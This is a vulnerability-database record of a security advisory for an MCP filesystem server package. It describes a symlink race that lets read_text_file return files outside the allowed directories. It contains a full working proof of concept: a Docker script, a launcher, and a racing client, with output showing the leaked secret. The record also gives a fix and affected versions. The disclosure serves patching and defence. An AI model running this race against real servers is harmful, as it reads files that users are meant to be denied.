{"id":"GHSA-p9cv-8g75-4xcg","kind":"vulnerability","aliases":["GHSA-p9cv-8g75-4xcg"],"related":[],"title":"Symlink swap after validation lets read_text_file return files outside allowedDirectories","description":"### Summary\n\nIn `@modelcontextprotocol/server-filesystem` 2.1.0, `read_text_file` validates the requested path and then opens it again by name. A local process that can rename a directory inside an allowed directory can swap that directory for a symlink between the check and the open. When the swap wins, the server returns the contents of a file outside `allowedDirectories`. In a two-user Linux test, an attacker user who gets `EACCES` reading the target file directly received its unknown random contents through the server.\n\n### Details\n\n### Affected version\r\n\r\n- npm `@modelcontextprotocol/server-filesystem@2.1.0` (current `latest`, published 2026-10-28). Tarball SHA-256 `65aba6b962efa7fdfdd51d70b48c06e7786c8bbc57292520dec21924836031df`.\r\n- Source: commit `194cc86e3ae6400958555bd4116849d822d69263` (monorepo tag `v2.2.0`; `src/filesystem/package.json` is `2.1.0`).\r\n- Tested on Linux (`node:24-alpine` container) and macOS (Node 26.10.0) against the published stdio server.\r\n\r\n### Root cause\r\n\r\n- `read_text_file` calls `validatePath(args.path, allowedDirectories)` and then `readFileContent(validPath)` (`src/filesystem/server.ts:257-274`; `dist/server.js:190-203`).\r\n- `validatePath` resolves `realpath` at that moment and returns a path string (`src/filesystem/lib.ts:508-518`; `dist/lib.js:330-337`).\r\n- `readFileContent` calls `fs.readFile(filePath)` (`src/filesystem/lib.ts:556-560`; `dist/lib.js:371-372`), which resolves every path component again. A directory symlink introduced after validation is followed.\r\n\r\nThe 2.0.1 fix for GHSA-53mr-w429-c597 anchors writes to the validated directory: `write_file`, `edit_file`, `create_directory` and `move_file` go through `pinned-directory.ts` (`createFileInDirectory`, `overwriteFileInDirectory`, `renameIntoDirectory`, ...). The read path was not given that anchor, so the same check-then-use gap remains on reads. The `head`/`tail` variants of the same tool (`headFile`, `tailFile`) also open by path name.\r\n\r\n### Preconditions\r\n\r\n- The attacker can rename or replace a directory inside an allowed directory while the server runs (the same precondition as GHSA-53mr-w429-c597).\r\n- The attacker controls the MCP client or can induce repeated `read_text_file` calls naming a path under that directory.\r\n- The target file is readable by the server's user and its name is known.\n\n### Proof of concept\n\n### Reproduction (two OS users, Linux container)\r\n\r\nThe harness runs the published server as UID 1001 and the MCP client plus a racer as UID 1002. A root launcher creates:\r\n- `allowed/` (owned by the attacker), passed to the server as its only allowed directory, containing `allowed/flip/marker.txt` with a benign value;\r\n- `outside/` (owned by the server user, mode `0700`) containing `outside/marker.txt` (mode `0600`) with a fresh random 24-byte secret.\r\n\r\nThe launcher only creates the fixture and pipes MCP stdio bytes between the two processes. The attacker client is never given the secret; it only knows the `CANARY_OUTSIDE_` prefix. The client:\r\n1. confirms a direct read of `outside/marker.txt` fails with `EACCES`;\r\n2. checks controls through the server: the direct outside path is denied, a static symlink `allowed/flip -> outside` is denied, and the inside path returns the benign value;\r\n3. starts a racer that repeatedly swaps `allowed/flip` between the real directory and a symlink to `outside/`, while sending `read_text_file` for `allowed/flip/marker.txt` in batches of 100.\r\n\r\nAfter the client exits, the launcher compares the SHA-256 of the secret it wrote with the SHA-256 of the content the client received.\r\n\r\nSave the three files below in one directory and run `sh run.sh` (needs Docker).\r\n\r\n`run.sh`\r\n```sh\r\n#!/bin/sh\r\n# Runs the two-user reproduction against the published package in a disposable container.\r\nset -eu\r\nHERE=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nNAME=\"mcp-fs-read-race-$$\"\r\ntrap 'docker stop -t 1 \"$NAME\" >/dev/null 2>&1 || true' EXIT\r\ndocker run -d --rm --name \"$NAME\" node:24-alpine sleep 600 >/dev/null\r\ndocker exec \"$NAME\" sh -c 'mkdir -p /labpkg /labharness && cd /labpkg && npm install --no-audit --no-fund @modelcontextprotocol/server-filesystem@2.1.0 >/dev/null'\r\ndocker cp \"$HERE/launcher.mjs\" \"$NAME:/labharness/launcher.mjs\"\r\ndocker cp \"$HERE/client.mjs\" \"$NAME:/labharness/client.mjs\"\r\ndocker exec \"$NAME\" chmod -R a+rX /labpkg /labharness\r\nSERVER=/labpkg/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js\r\nprintf '=== No-racer control ===\\n'\r\ndocker exec -e NO_RACER=1 -e MAX_CALLS=500 \"$NAME\" node /labharness/launcher.mjs \"$SERVER\"\r\nprintf '=== Two-user race ===\\n'\r\ndocker exec -e NO_RACER=0 -e MAX_CALLS=20000 \"$NAME\" node /labharness/launcher.mjs \"$SERVER\"\r\n```\r\n\r\n`launcher.mjs`\r\n```js\r\nimport fs from 'node:fs/promises';\r\nimport os from 'node:os';\r\nimport path from 'node:path';\r\nimport { spawn } from 'node:child_process';\r\nimport { fileURLToPath } from 'node:url';\r\nimport { createHash, randomBytes } from 'node:crypto';\r\n\r\n// Run as root only inside a disposable local container. The server is UID 1001;\r\n// the MCP client and racer are UID 1002. All data is created under /tmp.\r\nconst victimUid = 1001;\r\nconst attackerUid = 1002;\r\nconst here = path.dirname(fileURLToPath(import.meta.url));\r\nconst root = await fs.mkdtemp(path.join(os.tmpdir(), 'mcp-two-uid-'));\r\nconst allowed = path.join(root, 'allowed');\r\nconst outside = path.join(root, 'outside');\r\nconst flip = path.join(allowed, 'flip');\r\nconst secret = 'CANARY_OUTSIDE_' + randomBytes(24).toString('hex');\r\nawait fs.mkdir(flip, { recursive: true });\r\nawait fs.mkdir(outside);\r\nawait fs.writeFile(path.join(flip, 'marker.txt'), 'BENIGN_INSIDE_TWO_UID');\r\nawait fs.writeFile(path.join(outside, 'marker.txt'), secret, { mode: 0o600 });\r\nawait fs.chmod(root, 0o755);\r\nawait fs.chown(allowed, attackerUid, attackerUid);\r\nawait fs.chmod(allowed, 0o755);\r\nawait fs.chown(flip, attackerUid, attackerUid);\r\nawait fs.chmod(flip, 0o755);\r\nawait fs.chown(path.join(flip, 'marker.txt'), attackerUid, attackerUid);\r\nawait fs.chown(outside, victimUid, victimUid);\r\nawait fs.chmod(outside, 0o700);\r\nawait fs.chown(path.join(outside, 'marker.txt'), victimUid, victimUid);\r\nawait fs.chmod(path.join(outside, 'marker.txt'), 0o600);\r\n\r\nconst pkg = process.argv[2];\r\nif (!pkg) throw new Error('pass absolute path to published dist/index.js');\r\nconst server = spawn(process.execPath, [pkg, allowed], {\r\n  uid: victimUid,\r\n  gid: victimUid,\r\n  stdio: ['pipe', 'pipe', 'pipe'],\r\n});\r\nconst client = spawn(process.execPath, [path.join(here, 'client.mjs'), allowed, outside], {\r\n  uid: attackerUid,\r\n  gid: attackerUid,\r\n  stdio: ['pipe', 'pipe', 'pipe'],\r\n  env: { ...process.env, MAX_CALLS: process.env.MAX_CALLS ?? '20000', NO_RACER: process.env.NO_RACER ?? '0' },\r\n});\r\nclient.stdout.pipe(server.stdin);\r\nserver.stdout.pipe(client.stdin);\r\nserver.stderr.on('data', c => process.stderr.write('[server] ' + c));\r\nlet clientLog = '';\r\nclient.stderr.on('data', c => {\r\n  clientLog += c.toString();\r\n  process.stderr.write('[attacker-client] ' + c);\r\n});\r\nconst code = await new Promise(resolve => client.on('exit', resolve));\r\nserver.kill('SIGTERM');\r\nconst raceLine = clientLog.split('\\n').find(line => line.startsWith('{\"race\":'));\r\nlet reported;\r\ntry { reported = JSON.parse(raceLine); } catch { reported = null; }\r\nconst captured = reported?.race?.first?.result?.content?.[0]?.text;\r\nconst digest = value => value === undefined ? null : createHash('sha256').update(value).digest('hex');\r\nconst noRacer = process.env.NO_RACER === '1';\r\nconst match = captured === secret;\r\nconsole.log(JSON.stringify({\r\n  root, serverUid: victimUid, attackerUid, clientExit: code,\r\n  secretSha256: digest(secret), capturedSha256: digest(captured),\r\n  match, expectedMatch: !noRacer,\r\n}));\r\nprocess.exitCode = (code === 0 && match === !noRacer) ? 0 : 1;\r\n```\r\n\r\n`client.mjs`\r\n```js\r\nimport fs from 'node:fs/promises';\r\nimport path from 'node:path';\r\nimport { spawn } from 'node:child_process';\r\n\r\nconst [allowed, outside] = process.argv.slice(2);\r\nconst flip = path.join(allowed, 'flip');\r\nconst stash = path.join(allowed, 'stash');\r\nconst target = path.join(flip, 'marker.txt');\r\nconst forbidden = path.join(outside, 'marker.txt');\r\n// The random suffix is generated only by the launcher and never passed here.\r\nconst secretPrefix = 'CANARY_OUTSIDE_';\r\nconst benign = 'BENIGN_INSIDE_TWO_UID';\r\n\r\nif (process.argv[2] === '--racer') {\r\n  const [f, s, o] = process.argv.slice(3);\r\n  for (;;) {\r\n    try {\r\n      await fs.rename(f, s);\r\n      await fs.symlink(o, f);\r\n      await fs.unlink(f);\r\n      await fs.rename(s, f);\r\n    } catch {\r\n      try { await fs.unlink(f); } catch {}\r\n      try { await fs.rename(s, f); } catch {}\r\n    }\r\n  }\r\n}\r\n\r\nlet directRead;\r\ntry {\r\n  directRead = await fs.readFile(forbidden, 'utf8');\r\n} catch (e) {\r\n  directRead = `ERROR:${e.code}`;\r\n}\r\nif (directRead !== 'ERROR:EACCES') throw new Error(`attacker directly read outside file: ${directRead}`);\r\nprocess.stderr.write(JSON.stringify({ attackerUid: process.getuid(), directRead }) + '\\n');\r\n\r\nlet buffer = '';\r\nlet id = 1;\r\nconst pending = new Map();\r\nprocess.stdin.on('data', chunk => {\r\n  buffer += chunk.toString();\r\n  for (;;) {\r\n    const cut = buffer.indexOf('\\n');\r\n    if (cut < 0) break;\r\n    const line = buffer.slice(0, cut); buffer = buffer.slice(cut + 1);\r\n    if (!line.trim()) continue;\r\n    let msg;\r\n    try { msg = JSON.parse(line); } catch { continue; }\r\n    if (!('id' in msg)) continue;\r\n    const callback = pending.get(msg.id);\r\n    if (callback) { pending.delete(msg.id); callback(msg); }\r\n  }\r\n});\r\nfunction send(method, params) {\r\n  const requestId = id++;\r\n  return new Promise((resolve, reject) => {\r\n    const timer = setTimeout(() => reject(new Error(`MCP timeout ${requestId}`)), 30000);\r\n    pending.set(requestId, msg => { clearTimeout(timer); resolve(msg); });\r\n    process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: requestId, method, params }) + '\\n');\r\n  });\r\n}\r\nfunction result(m) { return JSON.stringify(m.result?.content ?? m.error ?? m); }\r\nconst init = await send('initialize', {\r\n  protocolVersion: '2025-11-25',\r\n  capabilities: {},\r\n  clientInfo: { name: 'two-uid-owned-lab', version: '1.0.0' },\r\n});\r\nif (init.error) throw new Error(JSON.stringify(init.error));\r\nprocess.stdout.write(JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }) + '\\n');\r\nconst read = p => send('tools/call', { name: 'read_text_file', arguments: { path: p } });\r\nconst direct = result(await read(forbidden));\r\nconst inside = result(await read(target));\r\nawait fs.rename(flip, stash);\r\nawait fs.symlink(outside, flip);\r\nconst staticLink = result(await read(target));\r\nawait fs.unlink(flip);\r\nawait fs.rename(stash, flip);\r\nif (direct.includes(secretPrefix) || !direct.includes('Access denied') ||\r\n    !inside.includes(benign) || staticLink.includes(secretPrefix) || !staticLink.includes('Access denied')) {\r\n  throw new Error(`control failed: ${JSON.stringify({ direct, inside, staticLink })}`);\r\n}\r\nprocess.stderr.write(JSON.stringify({ controls: 'PASS', version: init.result?.serverInfo?.version }) + '\\n');\r\n\r\nlet racer;\r\nif (process.env.NO_RACER !== '1') {\r\n  racer = spawn(process.execPath, [new URL(import.meta.url).pathname, '--racer', flip, stash, outside], {\r\n    stdio: ['ignore', 'ignore', 'pipe'],\r\n  });\r\n}\r\nconst maxCalls = Number(process.env.MAX_CALLS ?? 20000);\r\nlet total = 0, leaks = 0, benignReads = 0, denials = 0, other = 0, first = null;\r\ntry {\r\n  while (total < maxCalls && leaks === 0) {\r\n    const batch = Math.min(100, maxCalls - total);\r\n    const messages = await Promise.all(Array.from({ length: batch }, () => read(target)));\r\n    total += batch;\r\n    for (const message of messages) {\r\n      const text = result(message);\r\n      if (text.includes(secretPrefix)) { leaks++; first ??= message; }\r\n      else if (text.includes(benign)) benignReads++;\r\n      else if (text.includes('Access denied') || text.includes('ENOENT')) denials++;\r\n      else other++;\r\n    }\r\n  }\r\n} finally {\r\n  racer?.kill('SIGTERM');\r\n}\r\nprocess.stderr.write(JSON.stringify({ race: { noRacer: process.env.NO_RACER === '1', total, leaks, benignReads, denials, other, first } }) + '\\n');\r\nif (process.env.NO_RACER === '1' && leaks !== 0) process.exitCode = 1;\r\nif (process.env.NO_RACER !== '1' && leaks === 0) process.exitCode = 2;\r\nprocess.exit(process.exitCode ?? 0);\r\n```\r\n\r\n### Results\r\n\r\nOutput of `run.sh` above (2026-10-30, macOS host, `node:24-alpine` container, package installed from npm):\r\n\r\n```\r\n=== No-racer control ===\r\n[attacker-client] {\"attackerUid\":1002,\"directRead\":\"ERROR:EACCES\"}\r\n[attacker-client] {\"controls\":\"PASS\",\"version\":\"2.1.0\"}\r\n[attacker-client] {\"race\":{\"noRacer\":true,\"total\":500,\"leaks\":0, ...}}\r\n=== Two-user race ===\r\n[attacker-client] {\"attackerUid\":1002,\"directRead\":\"ERROR:EACCES\"}\r\n[attacker-client] {\"controls\":\"PASS\",\"version\":\"2.1.0\"}\r\n[attacker-client] {\"race\":{\"noRacer\":false,\"total\":200,\"leaks\":13, ... \"text\":\"CANARY_OUTSIDE_64a6e0d58b6131d90540f56ea4203a68be70e6f39680a0b8\" ... \"id\":105}}\r\n{\"serverUid\":1001,\"attackerUid\":1002,\"secretSha256\":\"bbf3e06d760cc0b7f74d2df8aa995e9d1e21784f57ec7d0b245dd90eba7ea03f\",\"capturedSha256\":\"bbf3e06d760cc0b7f74d2df8aa995e9d1e21784f57ec7d0b245dd90eba7ea03f\",\"match\":true}\r\n```\r\n\r\n| Run | Calls | Outside content returned | No-racer control |\r\n| --- | --- | --- | --- |\r\n| Two users, unknown random secret (`run.sh` above) | 200 | 13 | 0 of 500 |\r\n| Two users, unknown random secret (earlier run) | 200 | 3 | 0 of 500 |\r\n| Two users, fixed canary | 200 | 10 | 0 of 500 |\r\n| Two users, fixed canary (repeat) | 200 | 25 | 0 of 500 |\r\n| Same user, macOS | 1,300 | 23 | 0 of 900 |\r\n| Same user, macOS (repeat) | 1,100 | 8 | 0 of 200 |\r\n\r\nIn every run, the direct outside path and a static outside symlink were refused. Leaks appeared only while the racer was running.\r\n\r\nThe README's note that allowed-directory checks are path-based (the hard-link caveat) does not cover this: in the two-user fixture the attacker cannot traverse the `0700` `outside/` directory, so it cannot create a link to the file. The server returns the file only by following the swapped directory.\n\n### Impact\n\nThe server returns file contents from outside its configured allowed directories to the MCP client, breaking the boundary the README states (\"filesystem operations are restricted to allowed directories\"). Where the server runs as a user that can read files that the people able to write the allowed tree cannot, this also crosses an OS-user boundary, as demonstrated above. The attack is a race and needs repeated calls; a single call is not reliable.\r\n\r\nSuggested CVSS 3.1: `AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N` (4.4).\r\n\r\n### Suggested fix\r\n\r\nBind the check to the file actually read: open the final component relative to the pinned, validated parent directory (as `pinned-directory.ts` already does for writes) with `O_NOFOLLOW`, confirm the descriptor is the expected regular file, and read through that descriptor. Apply the same to `headFile`, `tailFile` and the other read handlers that open by path. A second path-based `realpath` check would leave another window.","summary":"The @modelcontextprotocol/server-filesystem package checks a path, then opens it by name, so a local user who can rename a directory inside an allowed folder can swap in a symlink and make read_text_file return files outside the allowed directories. The attacker gets the contents of files the server's user can read but the attacker cannot.","severity":"medium","cvss":4.4,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@modelcontextprotocol/server-filesystem","fixed":["2.3.0"],"affected":"< 2.3.0","ecosystem":"npm"},{"name":"@modelcontextprotocol/server-filesystem","fixed":[],"affected":">= 2025.1.14, <= 2026.8.31","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-367","filesystem-server","mcp","node","npm","package"],"not_affected_if":["no-untrusted-local-users","single-user-machine","version-2.3.0-or-later"],"how_to_check":"- Run `npm ls @modelcontextprotocol/server-filesystem` in each project that runs the server and look for a version below `2.3.0`.\n- Check whether the server is started with an allowed directory that other local users can write to.","fix":"- `@modelcontextprotocol/server-filesystem`: move to `2.3.0` (the advisory's ranges list `2.3.0` as fixed; later affected-range entries are unclear).","status":"open","published_at":"2026-11-11T07:28:07+00:00","first_seen_at":"2026-11-11T07:28:35+00:00","triaged_at":"2026-11-11T07:29:59+00:00","updated_at":"2026-11-11T07:29:59+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-11T07:29:59Z","model":"claude-haiku-5-5","output":{"fix":"- `@modelcontextprotocol/server-filesystem`: move to `2.3.0` (the advisory's ranges list `2.3.0` as fixed; later affected-range entries are unclear).","reach":"local","title":"MCP filesystem server: symlink swap lets reads escape allowed directories","impact":"medium","summary":"The @modelcontextprotocol/server-filesystem package checks a path, then opens it by name, so a local user who can rename a directory inside an allowed folder can swap in a symlink and make read_text_file return files outside the allowed directories. The attacker gets the contents of files the server's user can read but the attacker cannot.","audience":"developers","category":"package","nicknames":[],"who_cares":["mcp","npm","node","filesystem-server"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"local attacker reads server-accessible files outside allowed directories","analyst_note":"Confirm the fixed version for the second affected range (>= 2025.1.14, <= 2026.8.31) and whether 2.3.0 covers it, from the advisory at github.com/modelcontextprotocol/servers/security/advisories/GHSA-p9cv-8g75-4xcg.","how_to_check":"- Run `npm ls @modelcontextprotocol/server-filesystem` in each project that runs the server and look for a version below `2.3.0`.\n- Check whether the server is started with an allowed directory that other local users can write to.","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["single-user-machine","no-untrusted-local-users","version-2.3.0-or-later"],"who_is_affected":"Teams that run the filesystem MCP server, especially where a local user other than the server's user can write inside an allowed directory. Exposure needs a local process that can rename directories while the server runs; a server with only trusted users in its allowed directories has less exposure. Setups that do not expose the server to other local users can skip it.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.001319,"input_tokens":9668,"output_tokens":705,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-10':184C '-203':233C '-256':188C,577C,586C '-274':230C '-28':185C '-337':250C '-367':26B '-372':260C '-518':247C '-560':257C '/bin/sh':609C '/dev/null':644C '0':630C '0600':463C '0700':459C '1':503C,642C,646C '100':567C '1001':417C '1002':427C '190':232C '194cc86e3ae6400958555bd4116849d822d69263':192C '2':513C,645C '2.0.1':276C '2.1.0':94C,179C,198C '2026':183C '24':203C,468C,656C '257':229C '26.10.0':209C '3':540C '330':249C '371':259C '4xcg':17A,22A '508':246C '53mr':281C,362C '556':256C '65aba6b962efa7fdfdd51d70b48c06e7786c8bbc57292520dec21924836031df':189C '8g75':16A,21A 'affect':175C 'allow':56B,72B,119C,350C,432C,444C 'allowed/flip':528C,547C 'allowed/flip/marker.txt':447C,563C 'alloweddirectori':12A,147C,223C 'alpin':204C,657C 'also':334C 'anchor':284C,312C 'args.path':222C 'attack':75B,89B,156C,341C,366C,436C,487C 'batch':565C 'benign':450C,538C 'byte':469C,481C 'c597':283C,364C 'call':220C,252C,378C 'canari':498C 'cannot':90B 'caus':216C 'cd':628C 'cdpath':627C 'check':37B,130C,317C,514C 'check-then-us':316C 'client':370C,421C,488C,502C,570C,591C 'commit':191C 'compar':574C 'compon':265C 'concept':402C 'confirm':504C 'contain':205C,408C,446C,460C,623C 'content':78B,142C,170C,589C 'control':367C,515C 'creat':294C,431C,474C 'createfileindirectori':302C 'current':180C 'cwe':25B 'd':651C 'deni':524C,531C 'detail':174C 'direct':165C,506C,520C 'directori':53B,73B,116C,120C,124C,268C,289C,295C,347C,351C,384C,445C,551C,600C 'dirnam':629C 'dispos':622C 'dist/lib.js':248C,258C 'dist/server.js':231C 'docker':606C,639C,649C 'eacc':160C,512C 'edit':292C 'eu':625C 'everi':263C 'exit':571C,648C 'fail':510C 'file':8A,10A,67B,69B,80B,97C,145C,164C,219C,291C,293C,298C,377C,387C,561C,596C 'filepath':254C 'filesystem':28B 'filesystem-serv':27B 'fix':277C 'fixtur':476C 'folder':57B 'follow':274C 'fresh':466C 'fs':635C 'fs.readfile':253C 'gap':320C 'get':76B,159C 'ghsa':14A,19A,280C,361C 'ghsa-53mr-w429-c597':279C,360C 'ghsa-p9cv-8g75-4xcg':13A,18A 'given':310C,491C 'go':299C 'har':410C 'head':325C 'headfil':332C 'induc':373C 'insid':54B,117C,348C,534C 'introduc':270C 'know':496C 'known':399C 'latest':181C 'launcher':430C,472C,573C 'let':5A 'linux':153C,201C,407C 'local':47B,110C 'maco':207C 'make':64B 'mcp':30B,369C,420C,479C,634C 'mcp-fs-read-rac':633C 'mode':458C,462C 'modelcontextprotocol/server-filesystem':23A,24A,35B,93C,178C 'moment':239C 'monorepo':193C 'move':297C 'name':44B,108C,338C,379C,397C,632C,643C,653C,654C 'need':605C 'never':490C 'node':31B,202C,208C,655C 'npm':32B,177C 'one':599C 'open':41B,104C,133C,335C 'os':405C 'outsid':11A,70B,146C,452C,499C,521C,529C,556C 'outside/marker.txt':461C,509C 'overwritefileindirectori':303C 'own':433C,453C 'p9cv':15A,20A 'packag':33B,36B,619C 'pass':437C 'path':39B,101C,243C,264C,307C,337C,381C,522C,535C 'pinned-directory.ts':301C 'pipe':478C 'plus':422C 'precondit':339C,358C 'prefix':500C 'process':111C,485C 'proof':400C 'publish':182C,212C,413C,618C 'pwd':631C 'race':637C 'racer':424C,543C 'random':169C,467C 'read':6A,65B,86B,95C,161C,217C,306C,323C,375C,507C,559C,636C 'readabl':389C 'readfilecont':226C,251C 'real':550C 'realpath':236C 'receiv':166C,592C 'remain':321C 'renam':51B,114C,343C 'renameintodirectori':304C 'repeat':374C,545C 'replac':345C 'reproduct':403C,615C 'request':100C 'resolv':235C,262C 'return':9A,68B,140C,241C,536C 'rm':652C 'root':215C,429C 'run':355C,411C,602C,610C,650C 'run.sh':604C,607C 'save':593C 'secret':470C,493C,580C 'send':558C 'server':29B,82B,139C,173C,214C,354C,392C,414C,440C,456C,518C 'set':624C 'sh':603C,608C 'sha':187C,576C,585C 'sl':658C 'sourc':190C 'src/filesystem/lib.ts':245C,255C 'src/filesystem/package.json':196C 'src/filesystem/server.ts':228C 'start':541C 'static':526C 'stdio':213C,480C 'stop':640C 'string':244C 'summari':91C 'swap':2A,59B,122C,136C,546C 'symlink':1A,62B,127C,269C,527C,554C 'tag':194C 'tail':326C 'tailfil':333C 'tarbal':186C 'target':163C,386C 'test':154C,199C 'text':7A,66B,96C,218C,376C,560C 'three':595C 'tool':331C 'trap':638C 'true':647C 'two':151C,404C,484C,613C 'two-us':150C,612C 'uid':416C,426C 'unknown':168C 'use':319C 'user':48B,84B,152C,157C,394C,406C,457C,614C 'v2.2.0':195C 'valid':4A,98C,272C,288C 'validatepath':221C,234C 'validpath':227C 'valu':451C,539C 'variant':327C 'version':176C 'w429':282C,363C 'win':137C 'write':285C,290C 'wrote':582C","nicknames":[],"mitigations":[],"who_affected":"Teams that run the filesystem MCP server, especially where a local user other than the server's user can write inside an allowed directory. Exposure needs a local process that can rename directories while the server runs; a server with only trusted users in its allowed directories has less exposure. Setups that do not expose the server to other local users can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["serverfilesystem"],"ptokens":["filesystem","modelcontextprotocol","server"],"labels":["cwe367","filesystemserver","mcp","medium","node","npm","package"],"campaign_type":null,"search_a":"'4xcg':17A,22A '8g75':16A,21A 'alloweddirectori':12A 'file':8A,10A 'ghsa':14A,19A 'ghsa-p9cv-8g75-4xcg':13A,18A 'let':5A 'modelcontextprotocol/server-filesystem':23A,24A 'outsid':11A 'p9cv':15A,20A 'read':6A 'return':9A 'swap':2A 'symlink':1A 'text':7A 'valid':4A","search_b":"'-367':26B 'allow':56B,72B 'attack':75B,89B 'cannot':90B 'check':37B 'content':78B 'cwe':25B 'directori':53B,73B 'file':67B,69B,80B 'filesystem':28B 'filesystem-serv':27B 'folder':57B 'get':76B 'insid':54B 'local':47B 'make':64B 'mcp':30B 'modelcontextprotocol/server-filesystem':35B 'name':44B 'node':31B 'npm':32B 'open':41B 'outsid':70B 'packag':33B,36B 'path':39B 'read':65B,86B 'renam':51B 'return':68B 'server':29B,82B 'swap':59B 'symlink':62B 'text':66B 'user':48B,84B","search_c":"'-10':184C '-203':233C '-256':188C,577C,586C '-274':230C '-28':185C '-337':250C '-372':260C '-518':247C '-560':257C '/bin/sh':609C '/dev/null':644C '0':630C '0600':463C '0700':459C '1':503C,642C,646C '100':567C '1001':417C '1002':427C '190':232C '194cc86e3ae6400958555bd4116849d822d69263':192C '2':513C,645C '2.0.1':276C '2.1.0':94C,179C,198C '2026':183C '24':203C,468C,656C '257':229C '26.10.0':209C '3':540C '330':249C '371':259C '508':246C '53mr':281C,362C '556':256C '65aba6b962efa7fdfdd51d70b48c06e7786c8bbc57292520dec21924836031df':189C 'affect':175C 'allow':119C,350C,432C,444C 'allowed/flip':528C,547C 'allowed/flip/marker.txt':447C,563C 'alloweddirectori':147C,223C 'alpin':204C,657C 'also':334C 'anchor':284C,312C 'args.path':222C 'attack':156C,341C,366C,436C,487C 'batch':565C 'benign':450C,538C 'byte':469C,481C 'c597':283C,364C 'call':220C,252C,378C 'canari':498C 'caus':216C 'cd':628C 'cdpath':627C 'check':130C,317C,514C 'check-then-us':316C 'client':370C,421C,488C,502C,570C,591C 'commit':191C 'compar':574C 'compon':265C 'concept':402C 'confirm':504C 'contain':205C,408C,446C,460C,623C 'content':142C,170C,589C 'control':367C,515C 'creat':294C,431C,474C 'createfileindirectori':302C 'current':180C 'd':651C 'deni':524C,531C 'detail':174C 'direct':165C,506C,520C 'directori':116C,120C,124C,268C,289C,295C,347C,351C,384C,445C,551C,600C 'dirnam':629C 'dispos':622C 'dist/lib.js':248C,258C 'dist/server.js':231C 'docker':606C,639C,649C 'eacc':160C,512C 'edit':292C 'eu':625C 'everi':263C 'exit':571C,648C 'fail':510C 'file':97C,145C,164C,219C,291C,293C,298C,377C,387C,561C,596C 'filepath':254C 'fix':277C 'fixtur':476C 'follow':274C 'fresh':466C 'fs':635C 'fs.readfile':253C 'gap':320C 'get':159C 'ghsa':280C,361C 'ghsa-53mr-w429-c597':279C,360C 'given':310C,491C 'go':299C 'har':410C 'head':325C 'headfil':332C 'induc':373C 'insid':117C,348C,534C 'introduc':270C 'know':496C 'known':399C 'latest':181C 'launcher':430C,472C,573C 'linux':153C,201C,407C 'local':110C 'maco':207C 'mcp':369C,420C,479C,634C 'mcp-fs-read-rac':633C 'mode':458C,462C 'modelcontextprotocol/server-filesystem':93C,178C 'moment':239C 'monorepo':193C 'move':297C 'name':108C,338C,379C,397C,632C,643C,653C,654C 'need':605C 'never':490C 'node':202C,208C,655C 'npm':177C 'one':599C 'open':104C,133C,335C 'os':405C 'outsid':146C,452C,499C,521C,529C,556C 'outside/marker.txt':461C,509C 'overwritefileindirectori':303C 'own':433C,453C 'packag':619C 'pass':437C 'path':101C,243C,264C,307C,337C,381C,522C,535C 'pinned-directory.ts':301C 'pipe':478C 'plus':422C 'precondit':339C,358C 'prefix':500C 'process':111C,485C 'proof':400C 'publish':182C,212C,413C,618C 'pwd':631C 'race':637C 'racer':424C,543C 'random':169C,467C 'read':95C,161C,217C,306C,323C,375C,507C,559C,636C 'readabl':389C 'readfilecont':226C,251C 'real':550C 'realpath':236C 'receiv':166C,592C 'remain':321C 'renam':114C,343C 'renameintodirectori':304C 'repeat':374C,545C 'replac':345C 'reproduct':403C,615C 'request':100C 'resolv':235C,262C 'return':140C,241C,536C 'rm':652C 'root':215C,429C 'run':355C,411C,602C,610C,650C 'run.sh':604C,607C 'save':593C 'secret':470C,493C,580C 'send':558C 'server':139C,173C,214C,354C,392C,414C,440C,456C,518C 'set':624C 'sh':603C,608C 'sha':187C,576C,585C 'sl':658C 'sourc':190C 'src/filesystem/lib.ts':245C,255C 'src/filesystem/package.json':196C 'src/filesystem/server.ts':228C 'start':541C 'static':526C 'stdio':213C,480C 'stop':640C 'string':244C 'summari':91C 'swap':122C,136C,546C 'symlink':127C,269C,527C,554C 'tag':194C 'tail':326C 'tailfil':333C 'tarbal':186C 'target':163C,386C 'test':154C,199C 'text':96C,218C,376C,560C 'three':595C 'tool':331C 'trap':638C 'true':647C 'two':151C,404C,484C,613C 'two-us':150C,612C 'uid':416C,426C 'unknown':168C 'use':319C 'user':152C,157C,394C,406C,457C,614C 'v2.2.0':195C 'valid':98C,272C,288C 'validatepath':221C,234C 'validpath':227C 'valu':451C,539C 'variant':327C 'version':176C 'w429':282C,363C 'win':137C 'write':285C,290C 'wrote':582C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-11T07:28:07+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-p9cv-8g75-4xcg","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-p9cv-8g75-4xcg","severity":"medium","published_at":"2026-11-11T07:28:07+00:00","modified_at":"2026-11-11T07:28:07+00:00","first_seen_at":"2026-11-11T07:28:35+00:00","fetched_at":"2026-11-11T07:43:45+00:00","note":null}],"documents":[{"id":123646,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-p9cv-8g75-4xcg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}